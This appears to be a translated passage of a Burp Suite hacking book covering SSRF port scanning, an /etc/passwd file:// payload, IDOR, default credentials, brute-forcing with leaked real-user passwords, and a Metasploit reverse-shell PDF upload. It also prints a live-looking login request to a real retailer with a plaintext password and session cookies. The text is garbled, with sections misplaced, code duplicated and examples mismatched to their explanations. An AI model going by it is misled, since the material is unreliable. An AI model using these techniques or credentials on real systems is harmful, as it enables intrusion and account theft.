在下一章中,我们将利用其他类型的漏洞,展示 Burp Suite 中更多的选项和功能。
第九章:使用 Burp Suite 利用漏洞 - 第 2 部分
正如我们在上一章中看到的,Burp Suite 是一个灵活的工具,用于检测和利用漏洞。在本章中,我们将利用其他类型的漏洞,展示 Burp Suite 的更多选项和功能。
在本章中,我们将涵盖以下主题:
-
使用 SSRF/XSPA 执行内部端口扫描
-
使用 SSRF/XSPA 从内部机器提取数据
-
使用不安全的直接对象引用(IDOR)漏洞提取数据
-
利用安全配置错误
-
使用不安全的反序列化来执行操作系统命令
-
利用加密漏洞
-
暴力破解 HTTP 基本身份验证
-
暴力破解表单
-
绕过文件上传限制
使用 SSRF/XSPA 执行内部端口扫描
服务器端请求伪造(SSRF)是一种漏洞,恶意用户可以向托管应用程序的服务器发送手动请求,通常是从用户角度无法直接访问的服务器。
目前,这是一个备受欢迎的漏洞,因为它对使用 Elasticsearch 和 NoSQL 数据库等技术的云基础设施产生了巨大影响。
在以下代码片段中,我们可以看到它的效果:
<?php
if (isset($_GET['url'])){
$url = $_GET['url'];
$image = fopen($url, 'rb');
header("Content-Type: image/png");
fpassthru($image);
}
这段代码是有漏洞的,因为它在没有验证的情况下接收url
参数,然后...
执行对后端的内部端口扫描
端口扫描是在评估网络时进行网络发现的最基本和最有用的活动之一。在应用程序中,安全评估受到评估范围的限制,但 SSRF 和 XSPA 允许用户从应用程序中执行端口扫描。为了演示您如何执行此技术,我们将使用 Acunetix 创建的一个有漏洞的测试应用程序,您可以在testphp.vulnweb.com/
找到。
这是一个有漏洞的应用程序,您可以用来学习一些攻击和测试脚本或工具,如下面的屏幕截图所示:
- 打开 Burp Suite 的仪表板,然后点击新扫描。将 Acunetix 的 URL 添加到范围中,然后点击开始,如下面的屏幕截图所示:
- 扫描应用程序后,Burp Suite 检测到 URL(
testphp.vulnweb.com/showimage.php
)对 SSRF 存在漏洞。这个 PHP 文件接受 URL 作为参数,如下行所示:
http://testphp.vulnweb.com/showimage.php?file=http://192.168.0.1:80
- 要执行自动端口扫描,我们可以使用 Intruder。首先,停止请求,并将其发送到 Intruder,如下面的屏幕截图所示:
- 清除默认创建的通配符,并按照您自己的方式添加一个新的,如下面的屏幕截图所示:
GET /showimage.php?file=http://192.168.0.1:port HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: login=test%2Ftest
Upgrade-Insecure-Requests: 1
现在,您可以将您的有效负载定义为一个列表,从 0 到 65,535,并选择随机选项。为什么?因为一些入侵防护系统(IPS)会检测对同一 IP 的顺序请求,因此通过使用随机选项,我们可以尝试避免被检测到:
- 现在,启动攻击,如下面的屏幕截图所示:
为什么有效?如果您查看响应,就可以看到连接是否成功,如下所示:
当端口打开时,响应不会显示任何错误。作为提示,您可以分析长度列,以检测响应何时发生变化,并查看错误是否出现。
使用 SSRF/XSPA 从内部机器提取数据
SSRF 和 XSPA 漏洞也可以用于其他操作,例如从服务器中提取信息到后端所在的网络,或从托管应用程序的服务器中提取信息。让我们分析以下请求:
在这里,filehookURL
参数是易受攻击的,因此将其发送到 Repeater 工具,使用鼠标的辅助按钮,修改参数以提取一个文件,如/etc/passwd
,如下所示:
action=handleWidgetFiles&type=delete&file=1&filehookURL=file:///etc/passwd
将其发送到应用程序。如果有效,应用程序将显示...
利用不安全的直接对象引用(IDOR)漏洞提取数据
IDOR 是一种漏洞,允许恶意用户访问托管应用程序的服务器中的文件、数据库或敏感文件。
要识别易受 IDOR 攻击的应用程序,需要测试每个管理应用程序路径的变量。让我们看一个如何利用这种漏洞的例子。
利用 Burp Suite 的 IDOR
在以下的截图中,你有一个易受攻击的应用程序,并且你已经拦截了下一个请求:
我们在这个请求中有它们的参数;登录、操作和秘密。这里易受攻击的参数是登录。secret
变量是用户在注册时分配的数据;存在的漏洞是,如果恶意用户修改了登录参数,应用程序会在不经过验证的情况下更改用户指定的秘密值。因此,我们创建了另一个名为vendetta2的用户,试图修改与该个人相关的秘密值,如下所示...
利用安全配置错误
“配置错误”这个术语是如此开放,它可能意味着与安全相关的许多事情。同时,确定这些漏洞的影响是如此困难;其中一些漏洞可能只是信息性的,显示有关用于构建应用程序的技术的信息,而其他一些可能非常关键,提供对服务器或应用程序的访问,从而暴露所有内容。
因此,在本节中,我们将展示不同的常见错误,以及如何使用 Burp Suite 来利用它们。
默认页面
通常,服务器管理员安装 Web 服务器或其他应用程序时,他们没有配置它们以避免显示默认页面,因此,通常会发现以下页面:
这个默认页面可能是通用的,但它显示了信息,根据环境的不同,可能会很有用。例如,在这种情况下,我们看到了 Apache Tomcat 的默认页面。Tomcat 是一个应用服务器,有一个管理部分,Tomcat 有一个默认的用户名和密码。因此,如果您检测到这个默认页面,您只需要输入tomcat
凭据,就可以看到所有选项。一个常见的攻击包括...
目录列表
系统管理员和开发人员通常会在文件系统中分配不正确的访问权限,允许用户访问敏感文件,如备份、配置文件、源代码文件,或者只是一个允许用户了解服务器和应用程序所在位置的目录。
为了发现所有这些结构,我们可以使用三种主要方法,如下所示:
-
扫描
-
映射应用程序
-
入侵者
让我们详细探讨每种方法。
扫描
扫描器,包括 Burp Suite 扫描器,具有检测敏感路径和常见文件的算法;实际上,常见文件可以用作横幅抓取,以检测潜在的漏洞。
如果检测到敏感文件,它将在扫描结果中显示为一个问题,如下截图所示:
映射应用程序
在 Burp Suite 中,您可以在目标工具中找到所有不同的文件,它会创建一个包含所有网站结构的树。如果您点击一个文件,它将在右侧详细显示,详细说明它是否可访问,以及它是什么类型的文件:
这种映射基本上是自动的;您只需在应用程序中工作,而 Burp Suite 会缓存所有请求并创建这个树,但 Burp Suite 也有一个专门用于此目的的工具。
在目标工具中,有一个名为 Scope 的选项卡;在这里,可以定义 URL 或路径作为范围,以便进行深度映射。当您发出请求时,该请求会有许多链接到其他资源的资源。Burp Suite 分析请求和响应,寻找这些链接,并使用它们可以检索到的信息来映射站点,如下面的屏幕截图所示:
如果应用程序有经过身份验证的部分,建议您提供凭据,因为每次 Burp Suite 尝试访问经过身份验证的部分时,代理都会弹出一个可能会让人讨厌的弹窗。当这种情况发生时,只需输入凭据,代理将保存它们以备将来使用。
使用 Intruder
我认为 Intruder 是 Burp Suite 工具中最灵活的。您可以用它做任何事情。在使用 Burp Suite 社区版时,您没有高级选项和工具,Intruder 可以提供所有这些功能,但有一些限制,这意味着执行任务需要更多时间,但它可以执行任何类型的任务。
因此,为了检测目录列表和敏感文件,我们将使用常见的列表。例如,我们可以有一个包含常见目录的列表,例如内容管理系统(CMS)、电子商务应用程序中的常用路径,以及自制应用程序中使用的常规路径,例如/users/
、/admin/
、/administrator/
、process.php
、/config/
等等。
另一方面,我们需要有一个包含常见……
默认凭据
如前所述,在本节中,有些应用程序在安装时具有默认凭据。其中一些是因为它们不是直接安装的,而是使用操作系统的软件包,或者是其他应用程序的一部分。例如,一些集成开发环境(IDE)在其安装中具有 Web 或应用程序服务器,用于测试目的。
此外,还有一些测试工具或包使用数据库管理系统(DBMS),但这些系统存在漏洞或默认访问权限暴露它们。
经过一些侦察之后,您将能够了解应用程序、服务器和技术背后的应用程序,并且只需搜索默认密码一词即可找到正确的凭据,或者访问存储它们的网站,如下面的屏幕截图所示:
要识别正确的内容,您只需将它们作为 Intruder 中的有效负载加载并启动应用程序,我们将在本章中更详细地介绍。
不受信任的 HTTP 方法
HTTP 协议有不同的方法,通常我们用来了解GET
、POST
和CONNECT
方法,因为它们是最常用的。然而,还有其他方法可以用来获取有关服务器的信息,上传和删除文件到应用程序中,或者获取调试信息。
使用 Burp Suite 测试这些方法很容易。只需从代理中修改请求如下:
OPTIONS / HTTP/1.1
实际上,OPTIONS
是一种方法,允许我们知道 Web 服务器上允许使用哪些方法。可能出现的方法有PUT
、DELETE
、TRACE
、TRACK
和HEAD
。利用这些方法超出了本书的范围,因为很多事情取决于应用程序的环境。
使用不安全的反序列化来执行操作系统命令
序列化是一种过程,在一些编程语言中,用于将对象的状态转换为字节流,这意味着 0 和 1。反序列化过程将字节流转换为内存中的对象。
在 Web 技术中,还有更简单的情况,例如,常见的反序列化是将 JSON 格式转换为 XML 格式。这很简单,但真正的问题在于使用本机对象的技术,例如 Java,在这些技术中,我们可以直接在内存中进行调用。
事实上,漏洞发生在应用程序对无效输入进行反序列化时,创建了一个可能对应用程序有潜在风险的新对象。
利用漏洞
想象一下,您有一个使用 pickle 库的易受攻击的应用程序。这是一个实现不同函数进行序列化和反序列化的 Python 模块。然而,这个模块本身并没有实现保护。它需要开发人员进行验证实现。看看以下易受攻击的代码片段:
import yaml
with open('malicious.yml') as yaml_file:
contents = yaml.load(yaml_file)
print(contents['foo'])
这段代码读取一个 YAML 文件而没有任何验证。恶意用户可以输入一个可能执行其他操作的输入,例如一个命令,如下所示:
POST /api/system/user_login HTTP/1.1 Host: 192.168.1.254 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) ...
利用加密漏洞
除了利用与加密相关的漏洞外,Burp Suite 还允许用户进行分析以检测弱算法。
要执行此分析,我们需要创建一个捕获。这个捕获只是一个导航,我们在应用程序中登录和注销,以创建会话、令牌和 ID。想法是尽可能创建最大的捕获,以便有一个样本。
创建捕获后,在 Burp Suite 中使用正常历史记录,转到 Sequencer 工具,然后点击“立即分析”,如下截图所示:
在这里,您可以看到最终分析,如下所示:
最终分析
现在,您可以根据熵、字符集和概率来确定所使用的算法是否弱。
暴力破解 HTTP 基本身份验证
基本身份验证是一种在内部环境中广泛使用的访问控制类型,用于限制网站中受限区域的访问。它有很多弱点,包括以下内容:
-
基本身份验证以明文发送信息。这意味着恶意用户可以拦截客户端发送到服务器的信息并提取凭据。
-
密码受 Base64 编码保护。这并不意味着密码被加密;任何人都可以使用解码器获取明文密码,就像 Burp Suite 中包含的解码器一样,如下截图所示:
使用 Burp Suite 进行暴力破解
我们将展示如何使用 Burp Suite 攻击基本身份验证。想象一下,我们有一个用于在家中提供互联网的家用路由器。这些设备中的大多数使用基本身份验证。因此,访问 URL 路由器和 Web 浏览器将显示一个窗口,如下截图所示:
现在,配置 Burp Suite 以拦截发送到服务器的凭据,如下截图所示:
在这里,您可以看到标头中的参数授权。因此,复制分配给参数的值,并将其粘贴到解码器部分以了解其含义。请记住,基本身份验证使用 Base64 编码来保护信息:
现在,我们知道基本身份验证使用的结构是user:password
,因此为了暴力破解控制,我们需要按照这个结构发送凭据。我们将使用潜在用户和密码的列表,并将它们存储在 TXT 文件中,以便将它们用作有效负载。我建议您在常见服务中寻找泄露的密码,如 Facebook、LinkedIn 和 Yahoo,因为它们是真实的密码,而不仅仅是常见的词典,所以您更有可能能够访问受限区域。这里有一个小例子列表如下:
现在我们有了密码和用户列表,点击鼠标的辅助按钮,将原始请求发送到入侵者工具:
- 首先,我们将选择“集群炸弹”选项来发送我们的请求。由于我们只有一个列表,我们希望 Burp Suite 测试列表中的所有可能组合,如下面的截图所示:
- 然后,我们将选择授权参数分配的值作为通配符。然而,诀窍是在同一个参数上创建通配符,因为我们必须为密码和用户插入值,如下面的截图所示:
- 然后,转到有效负载选项卡,在这里,我们将选择我们的列表。然而,最重要的一步是,我们需要使用基本身份验证的结构对我们的输入进行 Base64 编码。首先,在有效负载集部分,选择使用两个有效负载集。我们将使用相同的列表并不重要,但我们需要将它们用作单独的有效负载,如下面的截图所示:
- 然后,选择第一个有效负载列表,在第 1 个位置的文本框分隔符中添加
:
字符。这将在第一个值之后插入,如下面的截图所示:
- 然后,点击“添加有效负载处理规则”来对有效负载进行编码。在这里,选择列表中的“编码”选项,然后选择 Base64 编码。通过这种配置,我们所有的有效负载都将以 Base64 编码发送,如下面的截图所示:
- 现在,返回到有效负载集部分,并选择第二个位置。在这里,选择用户和密码列表,但在文本框中留空第 2 个位置的文本框分隔符。还要创建规则来对有效负载进行编码。返回到位置选项卡,然后点击开始攻击,如下面的截图所示:
当入侵者显示 HTTP 错误代码 200 时,这意味着组合是正确的。
暴力破解表单
如前所述,基本身份验证由于其安全问题而不可取。更常见的是使用身份验证表单。这些身份验证表单包括 HTML 或其他客户端技术表单,将其传递到后端,那里处理凭据以确定用户是否有权访问资源。
重要的是要注意,确定用户是否有效的所有处理都将在后端进行。有时,在客户端使用结构验证是可取的,只是为了限制错误尝试的次数。
使用 Burp Suite 进行自动化
要在表单上执行暴力破解,我们将停止上传凭据到应用程序的请求,如下面的代码块所示,用户正在访问登录部分:
POST /api/system/user_login HTTP/1.1
Host: 192.168.1.254
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.254/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 210
Connection: close
Cookie: SessionID_R3=CZY02VcjdwIxtH3ouqkBUrgg7Zu2FICRqkEP5A0ldSiF5FQ67nioWM30PzyYGv9jMQk0a1lvs2lrv1fMX3wqGXSZu176PYZeEDCDxbA0rbAESGMeXNw0PEc0GZ7n2h0; username=admin
{"csrf":{"csrf_param":"ugObcytxp0houtiW8fxOsDYc074OxoV","csrf_token":"nOyb061GDehdAk04E1PG8qBGWTNwNr0"},"data":{"UserName":"admin","Password":"admin"}}
在这个请求中,我们可以确定应用程序接收用户名和密码的参数。因此,使用鼠标的辅助按钮,点击弹出菜单,并选择发送到 Intruder。在这里,我们将在参数所在的位置创建通配符。请注意,这不是一个常见的POST
请求,其中参数被分配为值。在这里,我们有一个不同的结构,但它的工作方式相同。
在这种情况下,应用程序没有使用任何编码。我们只需将负载配置为正常列表,选择集群炸弹作为攻击类型,并使用我们之前的列表,如下面的屏幕截图所示:
最后,点击开始攻击。Intruder 将启动一个窗口,我们可以在其中看到结果。有一些应用程序,当凭据不正确时,会以 302 错误代码响应,将用户重定向到登录页面。在这种情况下,应用程序总是以 200 错误代码响应,因此需要详细分析响应。为了简单起见,我们可以检查列长度,并寻找指示不同结果的值的变化,如下面的屏幕截图所示:
绕过文件上传限制
许多应用程序允许用户上传文件。管理这些文件有不同的方式:一些应用程序直接将文件作为二进制文件上传,而其他应用程序对文件进行编码以减小大小并在数据库中进行管理。让我们探讨如何修改应用程序建立的文件限制。
绕过类型限制
当一个应用程序允许您上传文件时,通常开发人员知道允许上传哪种类型的文件,因此验证恶意用户不能上传其他类型的文件非常重要。验证这一点的常见方法是使用文件扩展名。因此,如果一个应用程序管理文档,也许开发人员允许 PDF 文件和 DOCX 文档,但这安全吗?
文件扩展名不是应用程序需要进行的唯一验证。恶意用户可以上传带有有效扩展名的恶意文件;例如,传播恶意软件。
首先,我们将使用一个名为 Metasploit 的工具创建一个恶意 PDF。Metasploit 是一个利用框架,允许攻击漏洞,主要是基础设施;但它也有辅助模块来执行一些任务,比如创建带有嵌入恶意代码的二进制文件。您可以在www.metasploit.com/
上获取 Metasploit 的副本。
要安装它,您只需要在一个目录中解压文件。要创建 PDF,请按照以下步骤操作:
-
使用
adobe_utilprintf
工具,它将把我们的 PDF 转换为恶意 PDF。您可以使用任何 PDF 来做到这一点。 -
选择要使用的 PDF 来使用指令集。
-
选择要使用的负载。Metasploit 有不同的负载来执行文件执行时的操作,或者在这种情况下,打开时的操作。最简单的负载是从打开文件的计算机到远程计算机创建连接。这是一个反向 shell。
-
设置远程 IP 地址和端口,如下面的屏幕截图所示:
- 选择所有选项后,使用 exploit 指令创建文件,如下面的屏幕截图所示:
打开您正在使用 Burp Suite 评估的应用程序,并拦截一个用户被允许上传文件的部分的请求。想象一下我们有以下易受攻击的请求:
一个易受攻击的请求示例
在这个请求中,我们可以看到有两个限制。首先,我们有一个大小限制,这是为了避免上传最大的文件。我们可以在以下行中看到这个限制:
Content-Type: multipart/form-data; boundary=---------------------------12057503491
-----------------------------12057503491
Content-Disposition: form-data; name="name"
因此,如果我们修改这些值,就有可能上传比用户预期的更大的文件。
另一个限制是文件,如下所示:
test_by_destron23.pdf
-----------------------------12057503491
该应用程序正在等待特定的扩展名,如果我们上传另一个文件,比如我们修改过的 PDF 文件,看看会发生什么。
您将看到文件是以二进制方式上传到服务器的。在这一点上,服务器有一个恶意的 PDF 文件,其他用户可以下载,这将导致感染。为了确认文件是否相同,您可以下载它并将下载的文件与您自己的文件进行比较。
对于这一点的结论是,文件只是应用程序中的另一种输入类型,您可以像表单中的输入一样使用 Burp Suite 来修改它。
总结
在本章中,我们学习了 Burp Suite 用于利用不同类型漏洞的常规工具。特别是,我们利用 SSRF 和 XSPA 来执行命令,提取信息并在内部网络中执行任务。此外,我们还回顾了这些漏洞的起源。我们回顾了 IDOR 漏洞,学会了如何手动利用它,以及如何使用 Intruder 自动化其利用。接下来,我们回顾了一些与配置相关的漏洞;它们可能是关键的,也可能不是关键的,以及我们如何自动化其中一些漏洞。
我们还进行了暴力破解,以寻找两种不同类型认证的有效凭据。我们创建了一个恶意的 PDF 文件,并学会了如何将其上传到网站上...
第十章:编写 Burp Suite 扩展
其他 HTTP 代理提供了良好的性能,但是 Burp Suite 无疑是最好的工具,因为它具有扩展功能。正如我们在前面的章节中所看到的,扩展添加了许多功能,因此它们可以专注于特定的问题。
创建扩展的能力为用户在自动化测试活动中提供了极大的帮助。Burp Suite 支持 Java、Python 和 Ruby 来开发扩展,因此它在为开发人员提供便捷访问方面非常灵活。
在本章中,我们将回顾新扩展的开发过程,并提供一些在我们的 Burp Suite 安装中进行此操作的技巧和提示。
在本章中,我们将涵盖以下主题:
-
设置开发环境
-
编写 Burp Suite 扩展
-
执行扩展
设置开发环境
要开发自己的扩展,可以使用 NetBeans 或 Eclipse 等开源集成开发环境(IDE)。选择最适合自己的 IDE。在这种情况下,我们将使用 NetBeans:
- 转到 NetBeans 网站(
netbeans.org/
)并下载最新版本。不需要安装,因为 NetBeans 是用 Java 开发并作为 JAR 文件分发的;只需解压下载文件并单击 netbeans-bin 图标,如下截图所示:
- 在开始使用 NetBeans 之前,转到
www.oracle.com/technetwork/java/javase/downloads/
并...
编写 Burp Suite 扩展
Burp Suite 扩展的基本类结构如下代码所示,由 PortSwigger 提供:
package burp;
public class BurpExtender implements IBurpExtender{
public void registerExtenderCallbacks (IBurpExtenderCallbacks callbacks){
// your extension code here
}
}
这基本上是用于创建所有 Burp Suite 扩展的类定义。现在,让我们开始修改代码。
Burp Suite 的 API
请记住,所有扩展都是通过采用 PortSwigger 提供的结构(如前所示)作为代码基础来开发的,您的扩展的入口点如下:
void registerExtenderCallbacks (IBurpExtenderCallbacks callbacks);
如果要调用自己的扩展,需要使用以下方法:
callbacks.setExtensionName (Your extension name);
以下代码显示了字节实用程序。它们对于管理字符串、搜索子字符串、编码、解码等非常有用:
int indexOf (byte[] data, byte[] pattern, boolean caseSensitive, int from, int to); String bytesToString(byte[] data); byte[] stringToBytes(String data); String urlDecode(String data); String urlEncode(String ...
使用扩展修改用户代理
现在让我们分析一下扩展的代码,以修改 HTTP 请求中的用户代理,使用 PortSwigger 提供的基本结构。
创建用户代理(字符串)
我们需要修改用户代理的第一件事是使用替代用户代理。在代码的下一部分中,我们创建了一个默认用户代理列表,用于在扩展中使用;扩展还提供了使用包含字符串的 XML 文件的选项,如下所示:
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { extCallbacks = callbacks; extHelpers = extCallbacks.getHelpers(); extCallbacks.setExtensionName("Burp UserAgent"); extCallbacks.registerSessionHandlingAction(this); printOut = new PrintWriter(extCallbacks.getStdout(), true); printHeader(); /* Create the default User-Agent */ bUserAgents.add("Current Browser"); bUserAgentNames.put("Current Browser", "Current Browser"); /* ...
创建 GUI
PortSwigger 简化了将扩展与 Burp Suite 集成以创建新的 Burp Suite 选项卡的方式,这些元素只需要几行代码。
首先,我们需要在 Burp Suite 窗口中为我们的扩展定义一个新选项卡,如下所示:
bUAPanel = new JPanel(null);
JLabel bUALabel = new JLabel();
final JComboBox bUACbx = new JComboBox(bUserAgents.toArray());
JButton bUASetHeaderBtn = new JButton("Set Configuration");
我们还需要创建一个框,用于放置所有选项,以及每个选项的标签,如下所示:
bUALabel.setText("User-Agent:");
bUALabel.setBounds(16, 15, 75, 20);
bUACbx.setBounds(146, 12, 310, 26);
bUASetHeaderBtn.setBounds(306, 50, 150, 20);
bUASetHeaderBtn.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
newUA = bUserAgentNames.get(bUACbx.getItemAt(bUACbx.getSelectedIndex()));
printOut.println("User-Agent header set to: " + newUA + "\n");
}
});
此外,需要补充说明的是,没有默认值的应用程序或扩展在打开时无法向用户呈现,如下所示:
bUALabel.setText("User-Agent:");
bUALabel.setBounds(16, 15, 75, 20);
bUACbx.setBounds(146, 12, 310, 26);
bUASetHeaderBtn.setBounds(306, 50, 150, 20);
bUASetHeaderBtn.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
newUA = bUserAgentNames.get(bUACbx.getItemAt(bUACbx.getSelectedIndex()));
printOut.println("User-Agent header set to: " + newUA + "\n");
}
});
操作
前面的代码块显示了所有扩展内容和图形界面,但以下行显示了扩展本身的操作:
首先,我们设置初始变量和组件,如下所示:
@Override public String getTabCaption() { return "Burp UserAgent"; } @Override public Component getUiComponent() { return bUAPanel; } @Override public String getActionName(){ return "Burp UserAgent"; } @Override public void performAction(IHttpRequestResponse currentRequest, IHttpRequestResponse[] macroItems) { IRequestInfo requestInfo = extHelpers.analyzeRequest(currentRequest); List<String> headers = requestInfo.getHeaders(); String reqRaw = new String(currentRequest.getRequest()); String reqBody = ...
发现认证弱点
在服务、端口和技术检测之后,下一步是导航和了解应用程序的流程。在这里,我们将重点放在认证部分。
-
因此,打开 Burp Suite,并在配置 Web 浏览器后,转到
www.mercadolibre.com.mx/
。 -
正如我们之前提到的,Mercado Libre 是一个大型在线零售商,是卖家和买家之间的中间商,提供包裹服务和金融服务。
-
在登录部分输入有效的凭据,以了解其工作原理。
-
关于认证流程的简要介绍在这里:
-
用户输入电子邮件地址或用户名和密码
-
用户已登录
-
如果用户关闭会话,下次进入登录部分时,他们只需要输入密码,因为他们的用户名已经被占用。
- 让我们检查登录请求:
POST /jms/mlm/lgz/msl/login/H4sIAAAAAAAEAzWNQQ7DIAwE_-JzFO4c-xHkEidBxQUZR6SK8veaSj3ueHd8QS5begf9VAIPdNacYlKYoGbUtQiHtNiBs6GWlP6RRwUFmZSkgb-GaKPlQTYaKpWDrIOH7mHNpRv6vTK2FQu7am3eud77zCQRl5LTU2iOhWc-HdwTrNg0qGB8gR---wvSIukMrwAAAA/enter-pass HTTP/1.1
Host: www.mercadolibre.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.mercadolibre.com/jms/mlm/lgz/login?platform_id=ml&go=https%3A%2F%2Fwww.mercadolibre.com.mx%2F&loginType=explicit
Content-Type: application/x-www-form-urlencoded
Content-Length: 655
Connection: close
Cookie: msl_tx=1UqiRoqpEUxsLE3lBOswwkkNK9jF03Mi; _ml_ci=923720559.1550729012; orguseridp=21657778; _d2id=9db3c122-55e2-4c10-b17c-b06211ac246f-n; ftid=8MoAWQIdUk07TQENB2UnuCGnB5WY5qMo-1550733044507; dsid=e71d14ce-5128-453c-b586-60e5212fa4cf-1550733049231
Upgrade-Insecure-Requests: 1
user_id=vendetta%40gmail.com&password=H3r3154p4555w0rd&action=complete&dps=armor.bdecc76bc2e60160f1d8464959d69f4d2d9119c3f039ee75cb69bd697920e46f90877723d71324ebedade124738cd189e161d2b655c7fa985521cc6e4c2ccdc75231619b1a24f5e526cee284f62d303f.86588a3c22fdc3e5adde058557e1028e&rbms=1UqiRoqpEUxsLE3l&gctkn=03AOLTBLQTrF3tOZ-Md6XA6e3MFfVpMq2U2eZ1MOnZMtRddlltoxecbHaOtRdLrSPRUXTVGmJQ3nRRhvIcZa_4fY1KhgJ4vN2xg5DaG5ZeXjWuC-KIg59R0WDaRU9cyX7Nz1yaQOgVfvCGqf-buiapfJ5cVN3uureFwrxgegqBZwHAsHQBwOxSQ9hXZlU0V6ZHpWV7PwH_1N65MlH4HhvjGOgaBPPG5XJ69Nsa1eErb1KZG5s5ByeMbOeCgX6uTJzglJYzpxUmygRJpiIvN7ypFLdgnKNC7UuemvkGZwcOgbDQgmjdx5vifkJmlmNIsT2tEoXJw2wWJlBfi0cBkReEX61RoA4C91heOQ&kstrs=
让我们也来看看这个登录请求的响应:
HTTP/1.1 302 Found
Content-Type: text/html; charset=utf-8
Content-Length: 328
Connection: close
Date: Thu, 21 Feb 2019 07:13:56 GMT
Server: Tengine
Cache-Control: private, max-age=0, no-store
Location: https://auth.mercadolibre.com.mx/session/replicator/1550733236355-bqp0ov4guqf0rkcp9qjp34r63e61r6r6?go=https%3A%2F%2Fwww.mercadolibre.com.mx%2F
Set-Cookie: ssid=ghy-022103-1lPFbjVoxrDURTxzC3azejgqjE9O3a-__-21657778-__-1645341236209--RRR_0-RRR_0; Max-Age=94607999; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Sun, 20 Feb 2022 07:13:55 GMT; HttpOnly; Secure
Set-Cookie: orgid=CS-022103-03c45ab2ac839ae3d7083c377cdce53010e242e00d3b5fd587459dcdb9c93fa8-21657778; Max-Age=94607999; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Sun, 20 Feb 2022 07:13:55 GMT
Set-Cookie: orghash=022103-MLMw1s3mS30KNKIoHNpkHJpGxvOlzu__RRR_0__RRR_0-21657778; Max-Age=94607999; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Sun, 20 Feb 2022 07:13:55 GMT; HttpOnly
Set-Cookie: orgapi=CS-022103-69fb38cb3696712af34d6ddd57dc20cfb93a9a77a8d4d2490c82c20d7b7ff6ebc6b411d78e3f5f633a6e653efdd84859895e27e3d79c1da956c6649264d08370-21657778; Max-Age=94607999; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Sun, 20 Feb 2022 07:13:55 GMT
Set-Cookie: orguserid=0Z07t79hhh7; Max-Age=94607999; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Sun, 20 Feb 2022 07:13:55 GMT
Set-Cookie: orguseridp=21657778; Max-Age=94607999; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Sun, 20 Feb 2022 07:13:55 GMT
Set-Cookie: orgnickp=AUGUSTO_VENDETTA; Max-Age=94607999; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Sun, 20 Feb 2022 07:13:55 GMT
Set-Cookie: uuid=0; Max-Age=0; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Thu, 21 Feb 2019 07:13:56 GMT
Set-Cookie: sid=0; Max-Age=0; Domain=.mercadolibre.com; Path=/jms/mlm/; Expires=Thu, 21 Feb 2019 07:13:56 GMT; HttpOnly
Vary: Accept, Accept-Encoding
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: on
X-Download-Options: noopen
X-XSS-Protection: 1; mode=block
X-Request-Id: 445dd144-db49-404e-83e9-7e081487326c
X-D2id: 9db3c122-55e2-4c10-b17c-b06211ac246f
Content-Security-Policy: frame-ancestors 'self'
X-Frame-Options: SAMEORIGIN
X-Cache: Miss from cloudfront
Via: 1.1 ae22d429a3be7ab1d9089446772f27a7.cloudfront.net (CloudFront)
X-Amz-Cf-Id: RyU3aIakL8jke184nvlIt6Ghu0-MfmJLlVYXBw9BxivAF3F9yH9_Mg==
<p>Found. Redirecting to <a href="https://auth.mercadolibre.com.mx/session/replicator/1550733236355-bqp0ov4guqf0rkcp9qjp34r63e61r6r6?go=https%3A%2F%2Fwww.mercadolibre.com.mx%2F">https://auth.mercadolibre.com.mx/session/replicator/1550733236355-bqp0ov4guqf0rkcp9qjp34r63e61r6r6?go=https%3A%2F%2Fwww.mercadolibre.com.mx%2F</a></p>
使用上述代码块,我们可以检测到以下内容:
-
该应用程序正在使用负载均衡器或反 DDoS 服务。我们可以在响应中看到请求是如何被重定向到一个确定的服务器的。
-
该应用程序使用令牌来跟踪请求;可能无法利用 CSRF 等漏洞。
-
该应用程序具有 XSS 保护,可以避免信息的提取。例如,使用 JavaScript 提取用户的会话。
-
该应用程序包括一个 SAMEORIGIN 策略。在本书中,我们还没有涉及这个。这个控制用于避免来自外部实体的执行操作。
-
用户凭据被发送到请求的主体中。
-
该应用程序使用 XML 格式。这意味着该应用程序正在使用内部 API。
现在,我们有一些关于认证流程的信息。在实际评估中,您需要映射整个应用程序和完整的应用程序流程。
现在,我们将审查与认证相关的问题。
执行扩展
在编写完扩展后,启动 Burp Suite 应用程序,然后单击 Run | Run Project。应用程序将启动,并在其中运行我们的扩展。
对于这个扩展,您需要创建一个会话处理并在用户代理选项卡中配置选项,如下截图所示:
如您在以下截图中所见,该应用程序运行时没有出现错误:
如果您想要...
总结
在本章中,我们分析了如何创建我们自己的扩展以及 PortSwigger 提供的不同函数和方法,这不仅帮助我们创建了一个新的扩展,还向我们展示了如何修改现有的扩展,以适应我们的要求。
下一章将介绍一个真实案例,说明一个大型在线零售商是如何因为认证实现的破坏而受到影响的。
第十一章:突破大型在线零售商的身份验证
在之前的章节中,我们回顾了如何检测许多类型的漏洞,以及如何利用它们。我们还回顾了如何使用各种扩展,以及如何开发我们自己的扩展。在本章中,我们将总结前几章的所有概念,以评估正在生产中的应用程序,并尝试突破其身份验证。
